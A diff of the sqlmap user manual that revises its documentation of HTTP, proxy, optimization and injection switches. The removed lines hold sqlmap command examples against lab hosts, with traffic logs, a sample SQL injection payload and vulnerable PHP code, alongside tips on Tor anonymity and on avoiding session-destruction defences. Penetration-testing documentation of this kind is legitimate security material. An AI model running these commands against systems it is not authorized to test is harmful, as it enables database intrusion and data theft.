    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 \
-  -a "./txt/user-agents.txt"
-
-[hh:mm:00] [DEBUG] initializing the configuration
-[hh:mm:00] [DEBUG] initializing the knowledge base
-[hh:mm:00] [DEBUG] cleaning up configuration parameters
-[hh:mm:00] [DEBUG] fetching random HTTP User-Agent header from file './txt/user-agents.txt'
-[hh:mm:00] [INFO] fetched random HTTP User-Agent header from file './txt/user-agents.txt': 
-Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98) 
-[hh:mm:00] [DEBUG] setting the HTTP method to perform HTTP requests through
-[hh:mm:00] [DEBUG] creating HTTP requests opener object
-[hh:mm:00] [DEBUG] parsing XML queries file
-[hh:mm:00] [INFO] testing connection to the target url
-[hh:mm:00] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 172.16.213.131
-Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
-image/png,*/*;q=0.5
-User-agent: Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98) 
-Connection: close
-[...]
-
    -
    -

    - -

    Note that the HTTP User-Agent header is tested against SQL -injection also if you do not overwrite the default sqlmap HTTP -User-Agent header value.

    +

    Moreover, by providing the --random-agent switch, sqlmap +will randomly select a User-Agent from the ./txt/user-agents.txt +textual file and use it for all HTTP requests within the session.

    Some sites perform a server-side check on the HTTP User-Agent header value and fail the HTTP response if a valid User-Agent is -not provided, its value is not expected or its value is blocked by a web +not provided, its value is not expected or is blacklisted by a web application firewall or similar intrusion prevention system. In this case sqlmap will show you a message as follows:

    -[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try
-to force the HTTP User-Agent header with option --user-agent or -a
+[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try to 
+force the HTTP User-Agent header with option --user-agent or --random-agent

    +

    Note that also the HTTP User-Agent header is tested against SQL +injection if the --level is set to 3 or above. +Read below for details.

    +

    HTTP Referer header

    -

    Option: --referer

    +

    Switch: --referer

    -

    It is possible to fake the HTTP Referer header value with this -option. By default no HTTP Referer header is sent in HTTP -requests.

    +

    It is possible to fake the HTTP Referer header value. By default +no HTTP Referer header is sent in HTTP requests if not +explicitly set.

    -

    Example on a PostgreSQL 8.3.5 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --referer \
-  "http://www.google.com" -v 3
-
-[...]
-[hh:mm:48] [INFO] testing connection to the target url
-[hh:mm:48] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 172.16.213.131
-Accept-language: en-us,en;q=0.5
-Referer: http://www.google.com
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
-image/png,*/*;q=0.5
-User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
-Connection: close
-[...]
-
    -
    -

    +

    Note that also the HTTP Referer header is tested against SQL +injection if the --level is set to 3 or above. +Read below for details.

    Extra HTTP headers

    -

    Option: --headers

    +

    Switch: --headers

    -

    It is possible to provide extra HTTP headers by providing --headers -options. Each header must be separated by a newline and it's much easier -to provide them from the configuration INI file. Have a look at the sample -sqlmap.conf file.

    +

    It is possible to provide extra HTTP headers by setting the +--headers switch. Each header must be separated by a +newline and it is much easier to provide them from the configuration INI +file. Have a look at the sample sqlmap.conf file for an example.

    -

    HTTP Basic, Digest and NTLM authentications

    +

    HTTP protocol authentication

    -

    Options: --auth-type and --auth-cred

    +

    Switches: --auth-type and --auth-cred

    -

    These options can be used to specify which HTTP authentication type the -web server implements and the valid credentials to be used to perfom all -HTTP requests to the target application. -The three valid types are Basic, Digest and NTLM, -while the credentials' syntax is username:password.

    +

    These options can be used to specify which HTTP protocol authentication +the web server implements and the valid credentials to be used to perform +all HTTP requests to the target application.

    +

    The three supported HTTP protocol authentication mechanisms are:

    +

    +

    +

    +

    While the credentials' syntax is username:password.

    -

    Examples on a MySQL 5.0.67 target:

    +

    Example of valid syntax:

    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/basic/get_int.php?id=1" \
-  --auth-type Basic --auth-cred "testuser:testpass" -v 3
-
-[...]
-[hh:mm:14] [INFO] testing connection to the target url
-[hh:mm:14] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/basic/get_int.php?id=1 HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 172.16.213.131
-Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
-image/png,*/*;q=0.5
-Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
-User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
-Connection: close
-[...]
-
-
-$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/digest/get_int.php?id=1" \
-  --auth-type Digest --auth-cred "testuser:testpass" -v 3
-
-[...]
-[hh:mm:54] [INFO] testing connection to the target url
-[hh:mm:54] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/digest/get_int.php?id=1 HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 172.16.213.131
-Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
-image/png,*/*;q=0.5
-Authorization: Digest username="testuser", realm="Testing digest authentication", 
-nonce="Qw52C8RdBAA=2d7eb362292b24718dcb6e4d9a7bf0f13d58fa9d", 
-uri="/sqlmap/mysql/digest/get_int.php?id=1", response="16d01b08ff2f77d8ff0183d706f96747", 
-algorithm="MD5", qop=auth, nc=00000001, cnonce="579be5eb8753693a"
-User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
-Connection: close
-[...]
+$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" \
+  --auth-type Basic --auth-cred "testuser:testpass"

    -

    HTTP Certificate authentication

    +

    HTTP protocol certificate authentication

    -

    Option: --auth-cert

    -

    This option should be used in cases when the web server requires proper user's -certificate for authentication. Supplied values should be in the form: key_file, -cert_file, where key_file should be the name of a PEM formatted file that -contains your private key, while cert_file should be the name for a PEM formatted -certificate chain file.

    +

    Switch: --auth-cert

    -

    Example:

    -

    -

    -
    -$ python sqlmap.py -u "http://www.example.com/process.php?id=1" \
-  --auth-cert key.pem,cert.pem
-[...]
-
    -
    -

    +

    This switch should be used in cases when the web server requires proper +client-side certificate for authentication. Supplied values should be in +the form: key_file,cert_file, where key_file should be +the name of a PEM formatted file that contains your private key, while +cert_file should be the name for a PEM formatted certificate +chain file.

    -

    HTTP proxy

    +

    HTTP(S) proxy

    -

    Option: --proxy and --ignore-proxy

    +

    Switches: --proxy, --proxy-cred and --ignore-proxy

    -

    It is possible to provide an anonymous HTTP proxy address to pass by the -HTTP requests to the target URL. The syntax of HTTP proxy value is +

    It is possible to provide an HTTP(S) proxy address to pass by the HTTP(S) +requests to the target URL. The syntax of HTTP(S) proxy value is http://url:port.

    -

    Example on a PostgreSQL 8.3.5 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
-  --proxy "http://172.16.213.1:8080"
+
    If the HTTP(S) proxy requires authentication, you can provide the
+credentials in the format username:password to the
+--proxy-cred switch.
    
 
-[hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
-[hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic
-[hh:mm:37] [WARNING] the back-end DMBS is not MySQL
-[hh:mm:37] [WARNING] the back-end DMBS is not Oracle
-back-end DBMS:    PostgreSQL
-
    -
    -

    +

    If, for any reason, you need to stay anonymous, instead of passing by a +single predefined HTTP(S) proxy server, you can configure a +Tor client together with +Privoxy (or similar) on +your machine as explained on the Tor client guide and use the Privoxy +daemon, by default listening on 127.0.0.1:8118, as the sqlmap +proxy.

    -

    Instead of using a single anonymous HTTP proxy server to pass by, you can -configure a -Tor client together -with -Privoxy on your machine -as explained on the -Tor client guide then run sqlmap as follows:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
-  --proxy "http://172.16.213.1:8118"
-
    -
    -

    - -

    Note that 8118 is the default Privoxy port, adapt it to your -settings.

    - -

    The option --ignore-proxy should be used in cases like -when you want to run sqlmap against the machine inside a local area -network skipping default usage of a system-wide set HTTP proxy server.

    +

    The switch --ignore-proxy should be used when you want +to run sqlmap against a target part of a local area network by ignoring +the system-wide set HTTP(S) proxy server setting.

    -

    Concurrent HTTP requests

    +

    Delay between each HTTP request

    -

    Option: --threads

    +

    Switch: --delay

    -

    It is possible to specify the number of maximum concurrent HTTP requests -that sqlmap can start when it uses the blind SQL injection technique to -retrieve the query output. -This feature relies on the -multithreading concept and inherits both its pro and its cons.

    - -

    Examples on a MySQL 5.0.67 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 \
-  --current-user --threads 3
-
-[...]
-web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: MySQL >= 5.0.0
-
-[hh:mm:18] [INFO] fetching current user
-[hh:mm:18] [INFO] retrieving the length of query output
-[hh:mm:18] [INFO] retrieved: 18
-[hh:mm:19] [INFO] starting 3 threads
-[hh:mm:19] [INFO] retrieved: testuser@localhost
-current user:    'testuser@localhost'
-
    -
    -

    - -

    As you can see, sqlmap first calculates the length of the query output, -then starts three threads. Each thread is assigned to retrieve one -character of the query output. The thread then ends after up to seven -HTTP requests, the maximum requests to retrieve a query output character -with the blind SQL injection bisection algorithm implemented in sqlmap.

    - -

    Note that the multithreading option is not needed if the target is affected -by an inband SQL injection vulnerability and the --union-use -option has been provided.

    - - -

    Delay in seconds between each HTTP request

    - -

    Option: --delay

    - -

    It is possible to specify a number of seconds to wait between each HTTP -request. The valid value is a float, for instance 0.5 means half a second.

    +

    It is possible to specify a number of seconds to hold between each HTTP(S) +request. The valid value is a float, for instance 0.5 means half +a second. +By default, no delay is set.

    Seconds to wait before timeout connection

    -

    Option: --timeout

    +

    Switch: --timeout

    It is possible to specify a number of seconds to wait before considering -the HTTP request timed out. The valid value is a float, for instance -10.5 means ten seconds and a half.

    +the HTTP(S) request timed out. The valid value is a float, for instance +10.5 means ten seconds and a half. +By default 30 seconds are set.

    Maximum number of retries when the HTTP connection timeouts

    -

    Option: --retries

    +

    Switch: --retries

    -

    It is possible to specify the maximum number of retries when the HTTP -connection timeouts. By default it retries up to three times.

    +

    It is possible to specify the maximum number of retries when the HTTP(S) +connection timeouts. By default it retries up to three times.

    Filtering targets from provided proxy log using regular expression

    -

    Option: --scope

    +

    Switch: --scope

    -

    Rather than using all hosts parsed from provided logs with option --l, in combination with this option you can specify valid -python regular expression to be used for filtering desired ones.

    +

    Rather than using all hosts parsed from provided logs with switch +-l, you can specify valid Python regular expression to be used +for filtering desired ones.

    Example usage:

    -$ python sqlmap.py -l /tmp/webscarab.log/conversations/ --scope="(www)?\.target\.(com|net|org)"
+$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

    -

    5.4 Injection +

    Avoid your session to be destroyed after too many unsuccessful requests

    + +

    Switches: --safe-url and --safe-freq

    + +

    Sometimes web applications or inspection technology in between destroys +the session if a certain number of unsuccessful requests is performed. +This might occur during the detection phase of sqlmap or when it exploits +any of the blind SQL injection types. Reason why is that the SQL payload +does not necessarily returns output and might therefore raise a signal to +either the application session management or the inspection technology.

    + +

    To bypass this limitation set by the target, you can provide two switches:

    +

    +

    +

    + +

    This way, sqlmap will visit every a predefined number of requests a +certain safe URL without performing any kind of injection against +it.

    + + +

    5.4 Optimization +

    + +

    These switches can be used to optimize the performance of sqlmap.

    + + +

    Bundle optimization

    + +

    Switch: -o

    + +

    This switch is an alias that implicitly sets the following:

    +

    +

    +

    + +

    Read below for details about every single switch.

    + + +

    Output prediction

    + +

    Switch: --predict-output

    + +

    TODO

    + + +

    HTTP Keep-Alive

    + +

    Switch: --keep-alive

    + +

    TODO

    + + +

    HTTP NULL connection

    + +

    Switch: --null-connection

    + +

    TODO

    + + +

    Concurrent HTTP(S) requests

    + +

    Switch: --threads

    + +

    It is possible to specify the maximum number of concurrent HTTP(S) +requests that sqlmap is allowed to do. +This feature relies on the +multi-threading concept and inherits both its pro and its cons.

    + +

    This features applies to the brute-force switches and when the data +fetching is done through any of the blind SQL injection techniques. +For the latter case, sqlmap first calculates the length of the query +output in a single thread, then starts the multi-threading. Each thread is +assigned to retrieve one character of the query output. The thread ends +when that character is retrieved - it takes up to 7 HTTP(S) requests with +the bisection algorithm implemented in sqlmap.

    + +

    Note that the multi-threading switch does not affect any other SQL +injection technique. The maximum number of concurrent requests is set to +10 for performance and site reliability reasons.

    + + +

    MySQL GROUP_CONCAT() speed up

    + +

    Switch: --group-concat

    + +

    TODO

    + + +

    5.5 Injection

    These options can be used to specify which parameters to test for, provide -custom injection payloads and how to parse and compare HTTP responses page -content when using the blind SQL injection technique.

    +custom injection payloads and optional tampering scripts.

    Testable parameter(s)

    -

    Option: -p

    +

    Switch: -p

    -

    By default sqlmap tests all GET parameters, POST -parameters, HTTP Cookie header values and HTTP User-Agent -header value for dynamicity and SQL injection vulnerability, but it is -possible to manually specificy the parameter(s) you want sqlmap to perform -tests on comma separeted in order to skip dynamicity tests and perform SQL -injection test and inject directly only against the provided parameter(s).

    -

    Example on a PostgreSQL 8.3.5 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -v 1 \
-  -p "id"
+
    By default sqlmap tests all GET parameters and POST
+parameters. When the value of --level is >= 2
+it tests also HTTP Cookie header values. When this value is >=
+3 it tests also HTTP User-Agent and HTTP Referer
+header value for SQL injections.
+It is however possible to manually specify a comma-separated list of
+parameter(s) that you want sqlmap to test. This will bypass the dependence
+on the value of --level too.
    
 
-[hh:mm:48] [INFO] testing connection to the target url
-[hh:mm:48] [INFO] testing if the url is stable, wait a few seconds
-[hh:mm:49] [INFO] url is stable
-[hh:mm:49] [INFO] testing if GET parameter 'id' is dynamic
-[hh:mm:49] [INFO] confirming that GET parameter 'id' is dynamic
-[hh:mm:49] [INFO] GET parameter 'id' is dynamic
-[hh:mm:49] [INFO] testing sql injection on GET parameter 'id'
-[hh:mm:49] [INFO] testing numeric/unescaped injection on GET parameter 'id'
-[hh:mm:49] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
-[hh:mm:49] [INFO] GET parameter 'id' is numeric/unescaped injectable
-[hh:mm:49] [INFO] testing for parenthesis on injectable parameter
-[hh:mm:49] [INFO] the injectable parameter requires 0 parenthesis
-[...]
-
    -
    -

    - -

    Or, if you want to provide more than one parameter, for instance:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
-  -p "cat,id"
-
    -
    -

    - -

    You can also test only the HTTP User-Agent header.

    - -

    Example on a MySQL 5.0.67 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/ua_str.php" -v 1 \
-  -p "user-agent" --user-agent "sqlmap/0.8 (http://sqlmap.sourceforge.net)"
-
-[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
-[hh:mm:40] [INFO] testing connection to the target url
-[hh:mm:40] [INFO] testing if the url is stable, wait a few seconds
-[hh:mm:41] [INFO] url is stable
-[hh:mm:41] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:41] [INFO] confirming that User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:41] [INFO] testing sql injection on User-Agent parameter 'User-Agent'
-[hh:mm:41] [INFO] testing numeric/unescaped injection on User-Agent parameter 'User-Agent'
-[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is not numeric/unescaped injectable
-[hh:mm:41] [INFO] testing string/single quote injection on User-Agent parameter 'User-Agent'
-[hh:mm:41] [INFO] confirming string/single quote injection on User-Agent parameter 'User-Agent'
-[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is string/single quote injectable
-[hh:mm:41] [INFO] testing for parenthesis on injectable parameter
-[hh:mm:41] [INFO] the injectable parameter requires 0 parenthesis
-[hh:mm:41] [INFO] testing MySQL
-[hh:mm:41] [INFO] retrieved: 44
-[hh:mm:41] [INFO] confirming MySQL
-[hh:mm:41] [INFO] retrieved: 1
-[hh:mm:41] [INFO] retrieved: 4
-web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: MySQL >= 5.0.0
-
    -
    -

    +

    For instance, to test for GET parameter id and for HTTP +User-Agent only, provide -p id,user-agent.

    Force the database management system name

    -

    Option: --dbms

    +

    Switch: --dbms

    By default sqlmap automatically detects the web application's back-end database management system. -At the moment, fully supported database management systems are:

    +As of version 0.9, sqlmap fully supports the following database +management systems:

    -

    It is possible to force the DBMS name if you already know it so that sqlmap -will skip the fingerprint with an exception for MySQL and Microsoft SQL -Server to only identify the version. -To avoid also this check you can provide instead MySQL <version> or -Microsoft SQL Server <version>, where <version> is a valid version for -the DBMS; for instance 5.0 for MySQL and 2005 for -Microsoft SQL Server.

    -

    Example on a PostgreSQL 8.3.5 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -v 2 \
-  --dbms "PostgreSQL"
+
    If for any reason sqlmap fails to detect the back-end DBMS once a SQL
+injection has been identified or if you want to avoid an active fingeprint,
+you can provide the name of the back-end DBMS yourself (e.g. postgresql).
+For MySQL and Microsoft SQL Server provide them respectively in the form
+MySQL <version> and Microsoft SQL Server <version>, where <version> is a valid version for the DBMS; for
+instance 5.0 for MySQL and 2005 for Microsoft SQL Server.
    
 
-[...]
-[hh:mm:31] [DEBUG] skipping to test for MySQL
-[hh:mm:31] [DEBUG] skipping to test for Oracle
-web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS:    PostgreSQL
-
    -
    -

    - -

    In case you provide --fingerprint together with --dbms, -sqlmap will only perform the extensive fingerprint for the specified -database management system, read below for further details.

    +

    In case you provide --fingerprint together with +--dbms, sqlmap will only perform the extensive +fingerprint for the specified database management system only, read below +for further details.

    Note that this option is not mandatory and it is strongly recommended to use it only if you are absolutely sure about the back-end database management system. If you do not know it, let sqlmap -automatically identify it for you.

    +automatically fingerprint it for you.

    Force the database management system operating system name

    -

    Option: --os

    +

    Switch: --os

    By default sqlmap automatically detects the web application's back-end -database management system underlying operating system when requested by -any other functionality. +database management system underlying operating system when this +information is a dependence of any other provided switch. At the moment the fully supported operating systems are two:

    -

    It is possible to force the operating system name if you already know it so -that sqlmap will skip the fingerprint.

    +

    It is possible to force the operating system name if you already know it +so that sqlmap will avoid doing it itself.

    Note that this option is not mandatory and it is strongly recommended to use it only if you are absolutely sure about the @@ -2039,76 +1594,85 @@ not know it, let sqlmap automatically identify it for you.

    Custom injection payload

    -

    Options: --prefix and --postfix

    +

    Switches: --prefix and --suffix

    In some circumstances the vulnerable parameter is exploitable only if the -user provides a postfix to be appended to the injection payload. +user provides a specific suffix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the -SQL injection by directly providing a injection payload prefix and/or -postfix.

    +SQL injection by directly providing a injection payload prefix and suffix.

    -

    Example on a MySQL 5.0.67 target on a page where the SQL query is: -$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";:

    +

    Example of vulnerable source code:

    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 \
-  -p "id" --prefix "'" --postfix "AND 'test'='test"
+$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
+
    +
    +

    -[...] -[hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis -[hh:mm:16] [INFO] testing custom injection on GET parameter 'id' -[hh:mm:16] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20 -%28%27test%27=%27test HTTP/1.1 -Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 -Host: 172.16.213.131 -Accept-language: en-us,en;q=0.5 -Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, -image/png,*/*;q=0.5 -User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net) -Connection: close -[...] -[hh:mm:17] [INFO] GET parameter 'id' is custom injectable +

    To detect and exploit this SQL injection, you can either let sqlmap detect +the boundaries (as in combination of SQL payload prefix and +suffix) for you during the detection phase, or provide them on your own. +For example:

    +

    +

    +
    +$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" \
+  -p id --prefix "')" --suffix "AND ('abc'='abc"
 [...]

    -

    As you can see, the injection payload for testing for custom injection is:

    +

    This will result in all sqlmap requests to end up in a query as follows:

    -id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test
-
    -
    -

    -

    which URL decoded is:

    -

    -

    -
    -id=1') AND 7433=7433 AND ('test'='test
-
    -
    -

    -

    and makes the query syntatically correct to the page query:

    -

    -

    -
    -SELECT * FROM users WHERE id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1
+$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";

    +

    Which makes the query syntactically correct.

    +

    In this simple example, sqlmap could detect the SQL injection and exploit -it without need to provide a custom injection payload, but sometimes in -the real world application it is necessary to provide it.

    +it without need to provide custom boundaries, but sometimes in real world +application it is necessary to provide it when the injection point is +within nested JOIN queries for instance.

    -

    Page comparison

    +

    Tamper injection data

    -

    Options: --string and --regexp

    +

    Switch: --tamper

    + +

    TODO

    + + +

    5.6 Detection +

    + +

    These options can be used to specify how to parse and compare page content +from HTTP responses when using blind SQL injection technique.

    + + +

    Level

    + +

    Switch: --level

    + +

    TODO

    + + +

    Risk

    + +

    Switch: --risk

    + +

    TODO

    + + +

    TODO: Page comparison

    + +

    Switches: --string and --regexp

    By default the distinction of a True query by a False one (basic concept for Inferential blind SQL injection attacks) is done comparing injected @@ -2131,87 +1695,6 @@ which string or regular expression match is on not injected and True page only. This way the distinction will be based upon string presence or regular expression match and not page MD5 hash comparison.

    -

    Example on a MySQL 5.0.67 target on a page which content changes -every second due to a call to PHP function time():

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
-  -v 5
-
-[...]
-[hh:mm:50] [INFO] testing if the url is stable, wait a few seconds
-[hh:mm:50] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
-Host: 172.16.213.131
-User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
-Connection: close
-
-[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
-Date: Fri, 25 Jul 2008 14:29:50 GMT
-Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 
-OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
-X-Powered-By: PHP/5.2.4-2ubuntu5.2
-Connection: close
-Transfer-Encoding: chunked
-Content-Type: text/html
-
-<html><body>
-<b>SQL results:</b>
-<table border="1">
-<tr><td>1</td><td>luther</td><td>blissett</td></tr>
-</table>
-</body></html><p>Dynamic content: 1216996190</p>
-
-[hh:mm:51] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
-Host: 172.16.213.131
-User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
-Connection: close
-
-[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
-Date: Fri, 25 Jul 2008 14:29:51 GMT
-Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 
-OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
-X-Powered-By: PHP/5.2.4-2ubuntu5.2
-Content-Length: 161
-Connection: close
-Content-Type: text/html
-
-<html><body>
-<b>SQL results:</b>
-<table border="1">
-<tr><td>1</td><td>luther</td><td>blissett</td></tr>
-</table>
-</body></html><p>Dynamic content: 1216996191</p>
-
-[hh:mm:51] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
-Host: 172.16.213.131
-User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
-Connection: close
-
-[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
-Date: Fri, 25 Jul 2008 14:29:51 GMT
-Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 
-OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
-X-Powered-By: PHP/5.2.4-2ubuntu5.2
-Content-Length: 161
-Connection: close
-Content-Type: text/html
-
-<html><body>
-<b>SQL results:</b>
-<table border="1">
-<tr><td>1</td><td>luther</td><td>blissett</td></tr>
-</table>
-</body></html><p>Dynamic content: 1216996191</p>
-
-[hh:mm:51] [ERROR] url is not stable, try with --string or --regexp options, refer to 
-the user's manual paragraph 'Page comparison' for details
-
    -
    -

    As you can see, the string after Dynamic content changes its value every second. In the example it is just a call to PHP @@ -2225,60 +1708,9 @@ on the not injected page content and it is not on the False page content (because the query condition returns no output so luther is not displayed on the page content) and passing it to sqlmap, you are able to inject anyway.

    -

    Example on a MySQL 5.0.67 target on a page which content changes -every second due to a call to PHP function time():

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
-  --string "luther" -v 1
-
-[hh:mm:22] [INFO] testing connection to the target url
-[hh:mm:22] [INFO] testing if the provided string is within the target URL page content
-[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
-[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
-[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
-[hh:mm:22] [INFO] GET parameter 'id' is dynamic
-[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
-[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
-[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
-[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
-[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
-[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
-[...]
-
    -
    -

    You can also specify a regular expression to match rather than a string if you prefer.

    -

    Example on a MySQL 5.0.67 target on a page which content changes -every second due to a call to PHP function time():

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
-  --regexp "<td>lu[\w][\w]er" -v 1
-
-[hh:mm:22] [INFO] testing connection to the target url
-[hh:mm:22] [INFO] testing if the provided regular expression matches within the target 
-URL page content
-[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
-[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
-[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
-[hh:mm:22] [INFO] GET parameter 'id' is dynamic
-[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
-[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
-[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
-[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
-[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
-[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
-[...]
-
    -
    -

    As you can see, when one of these options is specified, sqlmap skips the URL stability test.

    @@ -2288,441 +1720,40 @@ with content that changes itself at each refresh without modifying the user's input.

    -

    Exclude specific page content

    - -

    Options: --excl-str and --excl-reg

    - -

    Another way to get around the dynamicity issue explained above is to exclude -the dynamic part from the page content before processing it.

    - -

    As you see in the above example the number after Dynamic content: -was dynamic and changed each second. To get around of this problem we could -use the above explained page comparison options or exclude this snippet of -dynamic text from the page before processing it and comparing it with the -not injected page.

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
-  --excl-reg "Dynamic content: ([\d]+)"
-
-[hh:mm:22] [INFO] testing connection to the target url
-[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
-[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
-[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
-[hh:mm:22] [INFO] GET parameter 'id' is dynamic
-[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
-[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
